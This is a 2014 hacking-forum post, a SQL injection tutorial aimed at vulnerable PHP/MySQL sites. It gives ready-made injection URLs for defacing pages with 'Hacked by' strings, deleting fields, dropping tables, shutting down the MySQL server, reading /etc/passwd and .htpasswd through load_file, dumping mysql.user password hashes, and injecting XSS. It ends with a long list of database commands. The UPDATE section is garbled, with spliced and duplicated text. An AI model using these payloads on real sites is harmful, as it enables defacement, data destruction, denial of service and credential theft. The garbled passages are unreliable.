sensi Posted March 12, 2014 Report Posted March 12, 2014 (edited) MODIFYING SITE CONTENT: ---------------------------------------------------Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.---->First let me list these commands:UPDATE: It is used to edit infos already in the db without deleting any rows.DELETE: It is used to delete the contents of one or more fields.DROP: It is used completely delete a table & all its associated data.Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.---------------------------------------------------------------------------------------------------------------------------------------------Command Usage:**************1).UPDATE:Our vulnerable page is:http://www.site.com/article.php?id=5Lets say the query is:SELECT title,data,author FROM article WHERE id=5Though in reality, we don'By executing first query, we have set the title value as 'Hacked by x @ rstforums.com' in the table article while in second query, we have updated all three fields title, data, & author in the table article.Sometimes, u may want to change the specific page with id=5. For this u will do:http://www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*t know the query as above, we can find the table and column name as discussed earlier.So we would do:http://www.site.com/article.php?id=5 UPDATE article SET title='Hacked by x @ rstforums.com'/*or, u could alternatively do:http://www.site.com/article.php?id=5 UPDATE article SET title='Hacked by x @ rstforums.com',data='Ur site has zerosecurity',author='Hacked by x @ rstforums.com'/*By executing first query, we have set the title value as 'Hacked by x @ rstforums.com' in the table article while in second query, we have updated all three fields title, data, & author in the table article.Sometimes, u may want to change the specific page with id=5. For this u will do:http://www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*---------------------------------------------------------------------------------------------------------------------------------2).DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.The syntax is:http://www.site.com/article.php?id=5 DELETE title,data,author FROM article/*or if u want to delete these fields from the id=5, u will do:http://www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*----------------------------------------------------------------------------------------------------------------------------------3).DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.For this, we make our URL as:http://www.site.com/article.php?id=5 DROP TABLE article/*This would delete table article & all its contents.----------------------------------------------------------------------------------------------------------------------------------------4).SHUTTING DOWN MySQL SERVER:This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;So, you would craft a query which would execute the above command...For example, in my case, I would do the following:http://www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...----------------------------------------------------------------------------------------------------------------------------------------------5).LOADFILE:MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..Do something like below:http://www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*But sometimes, you will have to hex the part & do something like below:http://www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..-------------------------------------------------------------------------------------------------------------------------------6).MySQL ROOT:If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..For this, you will do:http://www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But InsidePro Password Recovery Software has one to do it..---------------------------------------------------------------------------------------------------------------------------------7).FINALIZING THE INJECTION TUTORIAL:Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..http://www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/*Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.--------------------------------------------------------------------------------------------------------------------------------------8).MAJOR MySQL COMMANDS:Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..ABORT -- abort the current transactionALTER DATABASE -- change a databaseALTER GROUP -- add users to a group or remove users from a groupALTER TABLE -- change the definition of a tableALTER TRIGGER -- change the definition of a triggerALTER USER -- change a database user accountANALYZE -- collect statistics about a databaseBEGIN -- start a transaction blockCHECKPOINT -- force a transaction log checkpointCLOSE -- close a cursorCLUSTER -- cluster a table according to an indexCOMMENT -- define or change the comment of an objectCOMMIT -- commit the current transactionCOPY -- copy data between files and tablesCREATE AGGREGATE -- define a new aggregate functionCREATE CAST -- define a user-defined castCREATE CONSTRAINT TRIGGER -- define a new constraint triggerCREATE CONVERSION -- define a user-defined conversionCREATE DATABASE -- create a new databaseCREATE DOMAIN -- define a new domainCREATE FUNCTION -- define a new functionCREATE GROUP -- define a new user groupCREATE INDEX -- define a new indexCREATE LANGUAGE -- define a new procedural languageCREATE OPERATOR -- define a new operatorCREATE OPERATOR CLASS -- define a new operator class for indexesCREATE RULE -- define a new rewrite ruleCREATE SCHEMA -- define a new schemaCREATE SEQUENCE -- define a new sequence generatorCREATE TABLE -- define a new tableCREATE TABLE AS -- create a new table from the results of a queryCREATE TRIGGER -- define a new triggerCREATE TYPE -- define a new data typeCREATE USER -- define a new database user accountCREATE VIEW -- define a new viewDEALLOCATE -- remove a prepared queryDECLARE -- define a cursorDELETE -- delete rows of a tableDROP AGGREGATE -- remove a user-defined aggregate functionDROP CAST -- remove a user-defined castDROP CONVERSION -- remove a user-defined conversionDROP DATABASE -- remove a databaseDROP DOMAIN -- remove a user-defined domainDROP FUNCTION -- remove a user-defined functionDROP GROUP -- remove a user groupDROP INDEX -- remove an indexDROP LANGUAGE -- remove a user-defined procedural languageDROP OPERATOR -- remove a user-defined operatorDROP OPERATOR CLASS -- remove a user-defined operator classDROP RULE -- remove a rewrite ruleDROP SCHEMA -- remove a schemaDROP SEQUENCE -- remove a sequenceDROP TABLE -- remove a tableDROP TRIGGER -- remove a triggerDROP TYPE -- remove a user-defined data typeDROP USER -- remove a database user accountDROP VIEW -- remove a viewEND -- commit the current transactionEXECUTE -- execute a prepared queryEXPLAIN -- show the execution plan of a statementFETCH -- retrieve rows from a table using a cursorGRANT -- define access privilegesINSERT -- create new rows in a tableLISTEN -- listen for a notificationLOAD -- load or reload a shared library fileLOCK -- explicitly lock a tableMOVE -- position a cursor on a specified row of a tableNOTIFY -- generate a notificationPREPARE -- create a prepared queryREINDEX -- rebuild corrupted indexesRESET -- restore the value of a run-time parameter to a default valueREVOKE -- remove access privilegesROLLBACK -- abort the current transactionSELECT -- retrieve rows from a table or viewSELECT INTO -- create a new table from the results of a querySET -- change a run-time parameterSET CONSTRAINTS -- set the constraint mode of the current transactionSET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current sessionSET TRANSACTION -- set the characteristics of the current transactionSHOW -- show the value of a run-time parameterSTART TRANSACTION -- start a transaction blockTRUNCATE -- empty a tableUNLISTEN -- stop listening for a notificationUPDATE -- update rows of a tableVACUUM -- garbage-collect and optionally analyze a database.// Tutorial gasit intr-un txt vechi, modificat, restructurat. Edited March 12, 2014 by sensi Quote